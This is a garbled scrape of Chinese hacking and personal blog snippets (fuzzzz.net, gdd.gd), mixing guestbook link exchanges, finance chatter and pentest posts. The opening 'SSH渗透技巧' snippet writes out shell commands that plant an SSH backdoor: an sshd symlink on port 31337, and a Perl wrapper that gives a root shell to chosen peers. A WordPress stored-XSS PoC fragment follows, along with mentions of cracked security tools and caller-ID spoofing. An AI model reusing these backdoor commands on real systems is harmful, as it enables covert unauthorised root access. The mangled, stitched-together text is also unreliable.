666666i.com

fuzzzz.net

SSH渗透技巧 – SudoHac's BLoG.

http://fuzzzz.net/pentest/276.html

你的位置 SudoHac's BLoG. Mickey@vic: # ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;. Root@localhost ]# cd /usr/sbin [root@localhost sbin]# mv sshd ./bin [root@localhost sbin]# echo '#! Usr/bin/perl' sshd [root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) = / .4A/);' sshd [root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' sshd [root@localhost sbin]# chmod u x sshd [root@localhost sbin]# /etc/init.d/sshd restart. 转载请注明 SudoHac's BLoG. 2016 SudoHac's BLoG.

fuzzzz.net

留言板 – SudoHac's BLoG.

http://fuzzzz.net/guestbook

求高手搞站 晋升教育 QQ 183606986. 内个，加个友链呗大牛哥哥，小博www.666666i.com刘帅'S Blog 已添加贵博友链. 你好 有事求助 QQ 2365334437 麻烦 加我下 多谢. 加个友链把牛哥，网站名称 轩猫博客，网站地址 www.xema.fu0.net，网站描述 轩猫博客，发唠叨、吐槽，分享技术文章、冷段子，探索网络安全的小博客，礼的我已经加好了. 大牛丶 加个链接 http:/ alion.xyz/ 名称 Alion Blog. 大神，加个友链 描述 专注于linux开源系统，关注互联网，关注互联网安全 http:/ www.gray-track.com/. 加个友链把牛哥，网站名称 APT攻击，网站地址 www.aptno1.com. 名称 独孤小生 链接 www.dugu-niche.com. 大神,IBM appscan破解版能不能发挖邮箱18016832107@163.com,谢谢. 老白兔ITBlog域名已经更换至http:/ www.linuxea.com/. 2016 SudoHac's BLoG.

fuzzzz.net

任意伪造号码拨打电话 – SudoHac's BLoG.

http://fuzzzz.net/pentest/242.html

你的位置 SudoHac's BLoG. 转载请注明 SudoHac's BLoG. 上一篇 IBM appscan 9.0破解版分享. Burpsuite pro v1.5.18 破解版. 关注安全 加友链 www.mrliangqi.com. 你好,我是在乌云看到您的 想与你合作点业务 请联系我邮箱:sdjsdjweb@. 加个友链吧 链接已加 网站名称 40huo's blog 网站地址 htt. 2016 SudoHac's BLoG.

gdd.gd

我为自己理财 如何钱生钱？ – 虾米

http://gdd.gd/658.html

阅读 252 views 次. 翻译过来就是，1万元，你存6个月死期利率4.7%左右，钱不能提前取，一天的收益是1.33左右，个人觉得不如存上面的 余额宝. 算是你一克赚1元钱，也就是你今天 或许1个小时 就赚了40元RMB，反之则你赔了40元RMB 一般一天的价格浮动在几元左右，也就是说1万元，你一天的输赢也就是大概不超过200元RMB。 ThinkPHP 最新IIS7.5 web.config伪静态写法. 上篇 phpquery 采集示例 方法及例子demo. 2 条留言 访客 1 条 博主 1 条. 我直接是在 工商银行网站弄的 你可以直接登录工商银行网站 然后点击 投资理财 – 贵金属 然后答几道题 全部选是 然后就可以开户了，免费的。 SQLMAP tamper WAF 绕过脚本列表注释. SQLMAP tamper WAF 绕过脚本列表注释. 安卓抓包 封包 改包 无限发送数据包. Linux-headers-4.3.0-kali1-686-pae 虚拟机tools安装各种错误. 保留所有权利. Theme Ality.

gdd.gd

随意简聊 – 虾米

http://gdd.gd/561.html

阅读 217 views 次. 2 条留言 访客 2 条 博主 0 条. SQLMAP tamper WAF 绕过脚本列表注释. SQLMAP tamper WAF 绕过脚本列表注释. 安卓抓包 封包 改包 无限发送数据包. Linux-headers-4.3.0-kali1-686-pae 虚拟机tools安装各种错误. 保留所有权利. Theme Ality.

gdd.gd

回望过去的一年 – 虾米

http://gdd.gd/558.html

阅读 360 views 次. 3 条留言 访客 3 条 博主 0 条. SQLMAP tamper WAF 绕过脚本列表注释. SQLMAP tamper WAF 绕过脚本列表注释. 安卓抓包 封包 改包 无限发送数据包. Linux-headers-4.3.0-kali1-686-pae 虚拟机tools安装各种错误. 保留所有权利. Theme Ality.

fuzzzz.net

WordPress 3.0-3.92 存储型XSS漏洞分析&POC – SudoHac's BLoG.

http://fuzzzz.net/coding/282.html

你的位置 SudoHac's BLoG. WordPress 3.0-3.92 存储型XSS漏洞分析&POC. 问题出在wordpress的留言处，通常情况下留言是允许一些html标签的，比如 a 、 B 、 code 等等，然后标签中有一些属性是在白名单里的，比如 a 标签允许href属性，但是onmouseover属性是不允许的。 但是在一个字符串格式化函数wptexturize()上出现了问题，这个函数会在每一个留言上执行，函数的功能是把当前的字符转义成html实体，比如把 转义为“”。 Textarr = preg split('/( .* [.* ])/Us', $text, -1, PREG SPLIT DELIM CAPTURE);. A href="xxx" title="]" /a ["! XSS a /a ]. Function wptexturize($text) { return $text; / 加入这一行 global $wp cockneyreplace;. 转载请注明 SudoHac's BLoG. Siteserver 3.6.3版SQL注入漏洞.

gdd.gd

你会拿出时间帮助一个陌生人吗？ – 虾米

http://gdd.gd/616.html

阅读 593 views 次. 记一次渗透过程(wpscan LuManage sql注入 memcached未经授权访问). Dedecms5.7整合编辑器kindeditor4.1.10 版本插件 方法. 7 条留言 访客 6 条 博主 1 条. SQLMAP tamper WAF 绕过脚本列表注释. SQLMAP tamper WAF 绕过脚本列表注释. 安卓抓包 封包 改包 无限发送数据包. Linux-headers-4.3.0-kali1-686-pae 虚拟机tools安装各种错误. 保留所有权利. Theme Ality.